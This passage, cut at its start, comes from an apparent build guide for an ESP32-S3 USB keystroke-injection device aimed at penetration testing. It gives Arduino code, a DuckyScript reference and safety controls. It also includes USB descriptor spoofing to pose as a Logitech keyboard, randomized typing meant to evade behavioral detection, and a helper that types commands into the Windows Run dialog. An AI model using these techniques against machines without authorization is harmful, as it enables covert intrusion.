  if (!SPIFFS.begin(true)) {
    Serial.println("[ERR]  SPIFFS mount failed");
  } else {
    Serial.printf("[FS]   Total: %d  Free: %d bytes\n",
      SPIFFS.totalBytes(), SPIFFS.totalBytes() - SPIFFS.usedBytes());
  }

  WiFi.softAP(AP_SSID, AP_PASS);
  Serial.printf("[NET]  AP: %-15s  IP: %s\n",
    AP_SSID, WiFi.softAPIP().toString().c_str());

  Serial.printf("[MEM]  Free heap: %d bytes\n", ESP.getFreeHeap());
}

10.3 Hardware Validation Sketch

Use this to verify your hardware and USB stack are working before writing payload code:

#include "USB.h"
#include "USBHIDKeyboard.h"

USBHIDKeyboard Keyboard;

void setup() {
  Serial.begin(115200);
  USB.begin();
  Keyboard.begin();

  Serial.println("Waiting 5 seconds for enumeration...");
  delay(5000);

  Serial.println("Typing test string...");
  Keyboard.print("ESP32-S3 HID Test OK - ");
  Keyboard.print(String(millis()));
  Keyboard.write(KEY_RETURN);

  Serial.println("Done. If you saw text typed, HID is working.");
}

void loop() {}

11. Memory, Performance & Partitioning

11.1 Flash Partition Map (16MB scheme)

PartitionSizePurpose
Bootloader~64 KBROM bootloader
NVS24 KBPreferences, WiFi credentials
OTA Data8 KBOTA state tracking
App Slot 03 MBActive firmware
App Slot 13 MBOTA staging slot
SPIFFS~9 MBPayload scripts, configs, logs

11.2 Typical Firmware Sizes

ConfigurationApprox. SizeNotes
Minimal HID only~380 KBJust USB + Keyboard
HID + WiFi + WebServer~1.3 MBNo SPIFFS
HID + WiFi + SPIFFS~1.5 MBFull payload storage
HID + WiFi + OTA + NVS~1.7 MBProduction-ready
Full system + ArduinoJson~2.0 MBAll features
Full + TFT display library~2.5 MBWith OLED/LCD support

11.3 RAM Optimization

// Store large strings in PROGMEM (Flash) instead of RAM
const char LONG_PAYLOAD[] PROGMEM = "...very long string...";

// Use F() macro for Serial.print strings
Serial.println(F("This string lives in Flash, not RAM"));

// Monitor memory at runtime
Serial.printf("Free heap:       %d bytes\n", ESP.getFreeHeap());
Serial.printf("Min free heap:   %d bytes\n", ESP.getMinFreeHeap());
Serial.printf("Heap size:       %d bytes\n", ESP.getHeapSize());
Serial.printf("Free PSRAM:      %d bytes\n", ESP.getFreePsram());

// Use char arrays instead of String objects for fixed content
// String causes heap fragmentation over time
char buf[64];
snprintf(buf, sizeof(buf), "Hello %s", name.c_str());
Keyboard.print(buf);

12. Operational Security for Authorized Testing

12.1 Physical Security Controls

  • Always use a physical button trigger rather than auto-execute on plug-in
  • Implement a timeout — if no trigger within 60 seconds, enter safe idle mode
  • Add a PIN or gesture sequence to gate payload execution
  • Use the RGB LED to clearly indicate device state at all times
  • Label the device with your organization's asset tag and contact information
  • Store the device in a tamper-evident case between engagements

12.2 Logical Security Controls

// Execution count limit — prevents runaway or repeated accidental execution
int executionCount = 0;
const int MAX_EXECUTIONS = 3;

void safeExecute(int payloadID) {
  if (executionCount >= MAX_EXECUTIONS) {
    Serial.println("[SECURITY] Execution limit reached. Reboot required.");
    setStatus(50, 0, 0);  // Red LED — locked out
    return;
  }
  runPayload(payloadID);
  executionCount++;
  Serial.printf("[EXEC] Run %d/%d\n", executionCount, MAX_EXECUTIONS);
}

// Timeout safety — auto-idle after 60 seconds of enumeration with no trigger
unsigned long enumTime = 0;

void setup() {
  // ... init code ...
  enumTime = millis();
}

void loop() {
  if (!payloadTriggered && millis() - enumTime > 60000) {
    Serial.println("[TIMEOUT] No trigger received. Entering safe idle.");
    setStatus(0, 0, 0);  // Off — stealth idle
    while(true) delay(1000);  // Halt until reboot
  }
}

12.3 Testing Environment Best Practices

  1. Always test in an isolated, air-gapped environment first
  2. Document the exact scope and timeline in your penetration test agreement
  3. Use a dedicated test machine — never target production systems without explicit written approval
  4. Log all executions with timestamps to your audit trail
  5. Have a clear remediation plan before executing any payload on client hardware
  6. Carry a copy of your written authorization at all times during physical assessments
  7. Never leave the device unattended while plugged into a target system
  8. Sanitize SPIFFS payloads after an engagement — delete all client-specific scripts

13. Project Ideas & Expansion Roadmap

13.1 Beginner Projects

  • Automatic login typer — types credentials on button press for authorized account recovery
  • Typing speed tester — auto-types Lorem Ipsum to benchmark keyboard response on test machines
  • Shortcut macro board — map physical buttons to complex keyboard shortcuts
  • Mouse jiggler — prevent screen lock during authorized kiosk or presentation audits
  • Safe demo payload — opens Notepad, types a message, saves to desktop

13.2 Intermediate Projects

  • Web-based script uploader — drag and drop .txt DuckyScript files via browser interface
  • Multi-OS payload switcher — auto-detect OS fingerprint from host behavior, select matching payload
  • BLE keyboard bridge — receive commands over Bluetooth, replay as USB HID
  • Encrypted payload storage — AES-encrypt scripts on SPIFFS, decrypt at execution time only
  • Execution logger — write timestamps, payload names, and outcomes to a SPIFFS log file
  • Payload selector OLED — scroll through stored payloads on a small screen, select with button

13.3 Advanced Projects

  • Composite HID + MSC — appear simultaneously as a keyboard AND a USB flash drive
  • USB descriptor fingerprint lab — enumerate how different OSes react to various VID/PID combinations
  • Wireless payload relay — ESP32-S3 A (plugged into target) receives commands from ESP32-S3 B over ESP-NOW, no WiFi AP needed
  • Touchscreen payload selector — 3.5" TFT display with touch UI to preview and launch payloads
  • AI-generated payloads — call a remote LLM API over WiFi to generate context-aware automation scripts based on live parameters
  • Canary token detector — detect honeypot artifacts and abort payload automatically
  • HID fuzzer — send malformed HID reports to test OS/driver robustness (research only)

13.4 Full Production Architecture

┌──────────────────────────────────────────────────────────┐
│                ESP32-S3 HID Research Platform             │
├──────────────────────────────────────────────────────────┤
│  Core:                                                    │
│    USB.begin()          →  TinyUSB initialization        │
│    Keyboard.begin()     →  HID Keyboard class            │
│    Mouse.begin()        →  HID Mouse class               │
│                                                           │
│  Storage Layer:                                           │
│    SPIFFS               →  9MB payload file store        │
│    Preferences (NVS)    →  Persistent configuration      │
│                                                           │
│  Network Layer:                                           │
│    WiFi SoftAP          →  Operator control channel      │
│    WebServer            →  HTTP dashboard + REST API     │
│    ArduinoOTA           →  Remote firmware updates       │
│    ESP-NOW              →  Device-to-device relay        │
│                                                           │
│  Execution Engine:                                        │
│    DuckyScript Parser   →  Line-by-line interpreter      │
│    Trigger System       →  Button / WiFi / Timer / BLE   │
│    humanType()          →  Randomized keystroke delays   │
│    Layout Mapper        →  Multi-language support        │
│                                                           │
│  Security Layer:                                          │
│    Button auth          →  Physical gating               │
│    Exec count limit     →  Prevents runaway execution    │
│    NVS PIN              →  Logical access control        │
│    Timeout safety       →  Auto-idle if no trigger       │
│                                                           │
│  Display / Feedback:                                      │
│    RGB LED              →  Status indicator              │
│    OLED (optional)      →  Payload name + live status    │
│    Serial debug         →  Full verbose logging          │
└──────────────────────────────────────────────────────────┘

14. Quick Reference Cheat Sheet

14.1 Minimal Working Sketch

#include "USB.h"
#include "USBHIDKeyboard.h"

USBHIDKeyboard Keyboard;

void setup() {
  USB.begin();
  Keyboard.begin();
  delay(4000);            // NEVER skip — host needs time to enumerate

  Keyboard.print("Hello World!");
  Keyboard.write(KEY_RETURN);
}

void loop() {}

14.2 DuckyScript Command Reference

CommandSyntaxExample
Type textSTRING <text>STRING Hello World
Type + EnterSTRINGLN <text>STRINGLN powershell
PauseDELAY <ms>DELAY 1000
Enter keyENTERENTER
Tab keyTABTAB
EscapeESCESC
BackspaceBACKSPACEBACKSPACE
Win key comboGUI <key>GUI r
Ctrl comboCTRL <key>CTRL c
Ctrl+ShiftCTRL SHIFT <key>CTRL SHIFT ESC
Ctrl+AltCTRL ALT <key>CTRL ALT t
Alt comboALT <key>ALT F4
Arrow keysUPARROW / DOWNARROWDOWNARROW
Function keysF1F12F5
CommentREM <text>REM This is a comment

14.3 Essential Code Snippets

// Human typing with random delays
void humanType(const String &s, int mn=40, int mx=130) {
  for (size_t i=0; i<s.length(); i++) {
    Keyboard.print(s[i]);
    delay(random(mn, mx));
  }
}

// Open Run on Windows
void winRun(const String &cmd) {
  Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r');
  delay(100); Keyboard.releaseAll(); delay(700);
  humanType(cmd); Keyboard.write(KEY_RETURN);
}

// Button-gated execution (in loop)
if (digitalRead(0) == LOW) { runPayload(); delay(3000); }

// Read and execute SPIFFS payload
void runPayloadFile(const char* path) {
  File f = SPIFFS.open(path);
  while (f.available()) executeLine(f.readStringUntil('\n'));
  f.close();
}

// USB descriptor spoofing (before USB.begin)
USB.manufacturerName("Logitech");
USB.productName("USB Keyboard K120");
USB.VID(0x046D); USB.PID(0xC31C);

// RGB LED status
void setStatus(uint8_t r, uint8_t g, uint8_t b) {
  rgb.setPixelColor(0, rgb.Color(r, g, b)); rgb.show();
}

14.4 Arduino IDE Settings Summary

Board             → ESP32S3 Dev Module
USB Mode          → USB-OTG (TinyUSB)       ← most critical
USB CDC On Boot   → Enabled
Flash Size        → 16MB
PSRAM             → OPI PSRAM
Partition Scheme  → 16MB (3MB App / 9MB SPIFFS)
CPU Frequency     → 240 MHz
Upload Speed      → 921600

Conclusion

The ESP32-S3 offers an exceptionally capable and affordable platform for USB HID security research. Its combination of native USB OTG, TinyUSB stack support, large flash storage, WiFi connectivity, and full Arduino ecosystem integration makes it uniquely suited for building sophisticated, remotely-controlled automation research systems.

Key takeaways:

  • Always set USB Mode to USB-OTG (TinyUSB) — the single most critical configuration step
  • Add sufficient enumeration delay (4–5 seconds) before sending any keystrokes
  • Use humanType() with randomized delays to avoid behavioral detection
  • Leverage SPIFFS for flexible, updatable payload storage without reflashing
  • Gate all execution behind physical or logical authorization controls
  • Always operate within written, authorized scope during security assessments

This platform supports expansion far beyond basic keyboard injection — from composite HID+Storage devices, to AI-powered adaptive payloads, to full wireless remote dashboards. The architecture described here provides a solid foundation for all of these use cases.


🛡️ Remember: These techniques must only ever be used against devices you own or have explicit written permission to test. Unauthorized use is illegal and unethical.